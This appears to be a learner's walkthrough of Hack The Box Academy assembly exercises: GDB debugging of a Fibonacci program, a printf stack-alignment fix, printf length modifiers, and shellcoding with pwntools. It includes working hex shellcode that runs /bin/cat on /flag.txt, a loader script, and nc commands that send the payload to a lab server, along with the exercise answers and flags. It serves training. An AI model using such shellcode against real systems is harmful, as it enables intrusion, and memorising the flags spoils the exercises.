    message db "Fibonacci Sequence:", 0x0a

  section .text
    global _start

    _start:
      call printMessage   ; print intro message
      call initFib        ; set initial Fib values
      call loopFib        ; calculate Fib numbers
      call Exit           ; Exit the program

    printMessage:
      mov rax, 1      ; rax: syscall number 1
      mov rdi, 1      ; rdi: fd 1 for stdout
      mov rsi,message ; rsi: pointer to message
      mov rdx, 20     ; rdx: print length of 20 bytes
      syscall         ; call write syscall to the intro message
      ret

    initFib:
      xor rax, rax    ; initialize rax to 0
      xor rbx, rbx    ; initialize rbx to 0
      inc rbx         ; increment rbx to 1
      ret

    loopFib:
      add rax, rbx    ; get the next number
      xchg rax, rbx   ; swap values
      cmp rbx, 10		; do rbx - 10
      js loopFib		; jump if result is <0
      ret

    Exit:
      mov rax, 60
      mov rdi, 0
      syscall
root@htb:~$ nasm -f elf64 procedure.asm -o procedure.o
 ...
root@htb:~$ ld procedure.o -o procedure
 ...
 
root@htb:~$ gdb -q ./procedure
 GEF for linux ready, type `gef' to start, `gef config' to configure
 93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
 Reading symbols from ./procedure...
 (No debugging symbols found in ./procedure)

gef> info functions 
 All defined functions:

 Non-debugging symbols:
 0x0000000000401000  _start
 0x0000000000401014  printMessage
 0x0000000000401030  initFib
 0x000000000040103a  loopFib
 0x0000000000401046  Exit

gef> disas _start
 Dump of assembler code for function _start:
    0x0000000000401000 <+0>:	call   0x401014 <printMessage>
    0x0000000000401005 <+5>:	call   0x401030 <initFib>
    0x000000000040100a <+10>:	call   0x40103a <loopFib>
    0x000000000040100f <+15>:	call   0x401046 <Exit>
 End of assembler dump.
gef>  disas printMessage
 Dump of assembler code for function printMessage:
    0x0000000000401014 <+0>:	mov    eax,0x1
    0x0000000000401019 <+5>:	mov    edi,0x1
    0x000000000040101e <+10>:	movabs rsi,0x402000
    0x0000000000401028 <+20>:	mov    edx,0x14
    0x000000000040102d <+25>:	syscall
    0x000000000040102f <+27>:	ret
 End of assembler dump.

gef> break *_start
 Breakpoint 1 at 0x401000

gef> run
 ...
 
gef> ni
 * run ni (aka next instruction) several times to get to the exit
 
 ●    0x401000 <_start+0000>    call   0x401014 <printMessage>
      0x401005 <_start+0005>    call   0x401030 <initFib>
      0x40100a <_start+000a>    call   0x40103a <loopFib>
  →   0x40100f <_start+000f>    call   0x401046 <Exit>
    ↳    0x401046 <Exit+0000>      mov    eax, 0x3c
         0x40104b <Exit+0005>      mov    edi, 0x0
         0x401050 <Exit+000a>      syscall 
         0x401052                  add    BYTE PTR [rax], al
         0x401054                  add    BYTE PTR [rax], al
         0x401056                  add    BYTE PTR [rax], al

gef> si
 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
 0x00007fffffffdf18│+0x0000: 0x0000000000401014  →  <printMessage+0000> mov eax, 0x1	 ← $rsp
 0x00007fffffffdf20│+0x0008: 0x0000000000000001
 0x00007fffffffdf28│+0x0010: 0x00007fffffffe24e  →  "/home/htb-ac-53539/procedure"
 0x00007fffffffdf30│+0x0018: 0x0000000000000000
 0x00007fffffffdf38│+0x0020: 0x00007fffffffe26b  →  "SHELL=/bin/bash"
 0x00007fffffffdf40│+0x0028: 0x00007fffffffe27b  →  "SESSION_MANAGER=local/htb-t3hsvuao25:@/tmp/.ICE-un[...]"
 0x00007fffffffdf48│+0x0030: 0x00007fffffffe2dd  →  "WINDOWID=50331654"
 0x00007fffffffdf50│+0x0038: 0x00007fffffffe2ef  →  "QT_ACCESSIBILITY=1"
 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
      0x40103f <loopFib+0005>   cmp    rbx, 0xa
      0x401043 <loopFib+0009>   js     0x40103a <loopFib>
      0x401045 <loopFib+000b>   ret    
  →   0x401046 <Exit+0000>      mov    eax, 0x3c
      0x40104b <Exit+0005>      mov    edi, 0x0
      0x401050 <Exit+000a>      syscall 
      0x401052                  add    BYTE PTR [rax], al
      0x401054                  add    BYTE PTR [rax], al
      0x401056                  add    BYTE PTR [rax], al

 * 0x401014

FUNCTIONS

Try to fix the Stack Alignment in "print", so it does not crash, and prints "Its Aligned!". How much boundary was needed to be added? "write a number"
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/functions.zip
 ...
root@htb:~$ unzip functions.zip
 ...
root@htb:~$ cat functions.s
 global  _start
 extern  printf

 section .data
    outFormat db  "It's %s", 0x0a, 0x00
    message db "Aligned!", 0x0a

 section .text
 _start:
    call print          ; print string
    call Exit           ; Exit the program

 print:
    mov rdi, outFormat  ; set 1st argument (Print Format)
    mov rsi, message    ; set 2nd argument (message)
    call printf         ; printf(outFormat, message)
    ret

 Exit:
    mov rax, 60
    mov rdi, 0
    syscall
//triage
root@htb:~$ nasm -f elf64 functions.s -o functions.o
root@htb:~$ ld functions.o -o functions -lc --dynamic-linker /lib64/ld-linux-x86-64.so.2
root@htb:~$ ./functions 
 Segmentation fault
 
//code review
root@htb:~$ cat functions.s
 global  _start
 extern  printf

 section .data
    outFormat db  "It's %s", 0x0a, 0x00
    message db "Aligned!", 0x0a

 section .text
 _start: 
    call print          ; print string      - calls a procedure not function
    call Exit           ; Exit the program  - calls a procedure not function

 print:
    mov rdi, outFormat  ; set 1st argument (Print Format)
    mov rsi, message    ; set 2nd argument (message)
    call printf         ; printf(outFormat, message)      - calls external function
    ret

 Exit:
    mov rax, 60
    mov rdi, 0
    syscall
    
//debugg
root@htb:~$ gdb -q ./functions
 GEF for linux ready, type `gef' to start, `gef config' to configure
 93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
 Reading symbols from ./functions...
 (No debugging symbols found in ./functions)
 
gef> info functions 
 All defined functions:

 Non-debugging symbols:
 0x0000000000401010  printf@plt
 0x0000000000401020  _start
 0x000000000040102a  print
 0x0000000000401044  Exit

gef> break *_start
 Breakpoint 1 at 0x401020
 
gef> run
 ...

gef> si...
 0x00007fffffffdb40│+0x0000: 0x0000000000000038 ("8"?)	 ← $rsp
 0x00007fffffffdb48│+0x0008: 0x00007fffffffdf38  →  0x00007fffffffe26b  →  "SHELL=/bin/bash"
 0x00007fffffffdb50│+0x0010: 0x00000003f7ffe2e0
 0x00007fffffffdb58│+0x0018: 0x00007ffff7fde6e0  →  <_dl_unload_cache+0030> mov QWORD PTR [rip+0x1fb1d], 0x0        # 0x7ffff7ffe208 <cache>
 0x00007fffffffdb60│+0x0020: 0x000006eb1754d2d0
 0x00007fffffffdb68│+0x0028: 0x00007ffff7fe8dd5  →  <dl_main+1f35> lea rsp, [rbp-0x28]
 0x00007fffffffdb70│+0x0030: 0x0000000000000000
 0x00007fffffffdb78│+0x0038: 0x0000000000000001
 
//fix
root@htb:~$ nano functions.s
 global  _start
 extern  printf

 section .data
    outFormat db  "It's %s", 0x0a, 0x00
    message db "Aligned!", 0x0a

 section .text
 _start:
 
    ; Each procedure call pushes an 8-byte return address onto the stack.
    ; Each 'push' instruction also subtracts 8 from rsp (stack grows down).
    ; This is why we adjust rsp here — to keep 16-byte alignment before calls.
    
    sub rsp, 8          ; keep stack 16-byte aligned (calls push 8-byte return addr)
 
    call print          ; print string      - calls a procedure not function
    call Exit           ; Exit the program  - calls a procedure not function

 print:
    mov rdi, outFormat  ; set 1st argument (Print Format)
    mov rsi, message    ; set 2nd argument (message)
    call printf         ; printf(outFormat, message)      - calls external function
    ret

 Exit:
    add rsp, 8              ; restore stack (optional cleanup)
    
    mov rax, 60
    mov rdi, 0
    syscall

 * four main things to consider before calling a function:
    - Save Registers on the stack (Caller Saved)
    - Pass Function Arguments (like syscalls)
    - Fix Stack Alignment
       - Ensure rsp is 16-byte aligned before external function 
         calls (e.g., printf), otherwise you risk segfaults.
    - Get Function's Return Value (in rax)

 * Before calling a C function, the System V AMD64 ABI requires the stack to 
   be 16-byte aligned at the call instruction. Currently, after _start, the
   stack alignment is off because rsp isn't adjusted
root@htb:~$ nasm -f elf64 functions.s -o functions.o
root@htb:~$ ld functions.o -o functions -lc --dynamic-linker /lib64/ld-linux-x86-64.so.2
root@htb:~$ ./functions 
 It's Aligned!

LIBC FUNCTIONS

The current string format we are using only allows numbers up to 2 billion. What format can we use to allow up to 3 billion? "Check length modifiers in the 'printf' man page"
root@htb:~$ man -s 3 printf
 ...
 Length modifier
  Here, "integer conversion" stands for d, i, o, u, x, or X conversion.

   hh     A following integer conversion corresponds to a signed char or 
          unsigned char argument, or a following n conversion corresponds to a 
          pointer to a signed char argument.

   h      A following integer conversion corresponds to a short or unsigned 
          short argument, or a following n conversion corresponds to a pointer 
          to a short argument.

   l      (ell) A following integer conversion corresponds to a long or unsigned
          long argument, or a following n conversion corresponds to a pointer to
          a long argument, or a following c conversion corresponds to a wint_t 
          argument, or a following s conversion corresponds to a pointer to 
          wchar_t argument.  On a following a, A, e, E, f, F, g, or G conversion,
          this length modifier is ignored (C99; not in SUSv2).

   ll     (ell-ell).  A following integer conversion corresponds to a long long 
          or unsigned long long argument, or a following n conversion corresponds
          to a pointer to a  long  long argument.

   q      A synonym for ll.  This is a nonstandard extension, derived from BSD; 
          avoid its use in new code.

   L      A following a, A, e, E, f, F, g, or G conversion corresponds to a long
          double argument.  (C99 allows %LF, but SUSv2 does not.)

   j      A following integer conversion corresponds to an intmax_t or uintmax_t
          argument, or a following n conversion corresponds to a pointer to an 
          intmax_t argument.

   z      A following integer conversion corresponds to a size_t or ssize_t 
          argument, or a following n conversion corresponds to a pointer to 
          a size_t argument.

   Z      A nonstandard synonym for z that predates the appearance of z.  Do not
          use in new code.
       
   t      A following integer conversion corresponds to a ptrdiff_t argument, or
          a following n conversion corresponds to a pointer to a ptrdiff_t 
          argument.

   SUSv3  specifies  all  of the above, except for those modifiers explicitly 
   noted as being nonstandard extensions.  SUSv2 specified only the length 
   modifiers h (in hd, hi, ho, hx, hX, hn) and l (in ld, li, lo, lx, lX, ln, 
   lc, ls) and L (in Le, LE, Lf, Lg, LG).

   As a nonstandard extension, the GNU implementations treats ll and L as 
   synonyms, so that one can, for example, write llg (as a synonym for the 
   standards-compliant Lg) and Ld  (as a synonym for the standards compliant
   lld).  Such usage is nonportable.
   
 * %lld

SHELLCODES

Run the "Exercise Shellcode" to get the flag.
root@htb:~$ sudo pipx install pwntools
 ...
 installed package pwntools 4.14.1, installed using Python 3.11.2
  These apps are now globally available
    - asm
    - checksec
    - common
    - constgrep
    - cyclic
    - debug
    - disablenx
    - disasm
    - elfdiff
    - elfpatch
    - errno
    - hex
    - libcdb
    - main
    - phd
    - pwn
    - pwnstrip
    - scramble
    - shellcraft
    - template
    - unhex
    - update
    - version
 done! ✨ 🌟 ✨
 
root@htb:~$ python3
 >>> from pwn import *
 >>> context(os="linux", arch="amd64", log_level="error")
 >>> run_shellcode(unhex('4831db536a0a48b86d336d307279217d5048b833645f316e37305f5048b84854427b6c303464504889e64831c0b0014831ff40b7014831d2b2190f054831c0043c4030ff0f05')).interactive()
  HTB{l04d3d_1n70_m3m0ry!}

SHELLCODING TOOLS

The above server simulates an exploitable server you can execute shellcodes on. Use one of the tools to generate a shellcode that prints the content of '/flag.txt', then connect to the server with "nc SERVER_IP PORT" to send the shellcode.
root@htb:~$ sudo pipx install pwntools
 installing pwntools
 ...
 
//identify the path for cat
root@htb:~$ which cat
 /usr/bin/cat
//research & craft payload - assuming target is Linux
root@htb:~$ python3
 >>> from pwn import *
 >>> context(os="linux", arch="amd64", log_level="error")
 
 //list payloads and find execve syscall
 >>> dir(shellcraft)
  [...SNIP... 'execve', 'exit', 'exit_group', ... SNIP...]
  
 //syscall and arguments
 >>> syscall = shellcraft.execve(path='/bin/cat', argv=['/bin/cat', '/flag.txt'])
 
 >>> asm(syscall).hex()
  '6a01fe0c2448b82f62696e2f636174504889e768797501018134240101010148b801010101010101015048b8012e676d60662f754831042448b82f62696e2f6361745031f6566a115e4801e6566a105e4801e6564889e631d26a3b580f05'
//test shellcode locally
root@htb:~$ nano payloadLoader.py
 #!/usr/bin/python3

 import sys
 from pwn import *

 context(os="linux", arch="amd64", log_level="error")

 run_shellcode(unhex(sys.argv[1])).interactive()
 
root@htb:~$ python3 payloadLoader.py '6a01fe0c2448b82f62696e2f636174504889e768797501018134240101010148b801010101010101015048b8012e676d60662f754831042448b82f62696e2f6361745031f6566a115e4801e6566a105e4801e6564889e631d26a3b580f05'
 /bin/cat: /flag.txt: No such file or directory
//execute payload on target
//method 1: execute directly on target
root@htb:~$ nc 83.136.252.69 30662
 6a01fe0c2448b82f62696e2f636174504889e768797501018134240101010148b801010101010101015048b8012e676d60662f754831042448b82f62696e2f6361745031f6566a115e4801e6566a105e4801e6564889e631d26a3b580f05
  HTB{r3m073_5h3llc0d3_3x3cu710n}

//method 2: 
root@htb:~$ echo -n -e "6a01fe0c2448b82f62696e2f636174504889e768797501018134240101010148b801010101010101015048b8012e676d60662f754831042448b82f62696e2f6361745031f6566a115e4801e6566a105e4801e6564889e631d26a3b580f05" | nc 83.136.252.69 30662
 HTB{r3m073_5h3llc0d3_3x3cu710n}

Last updated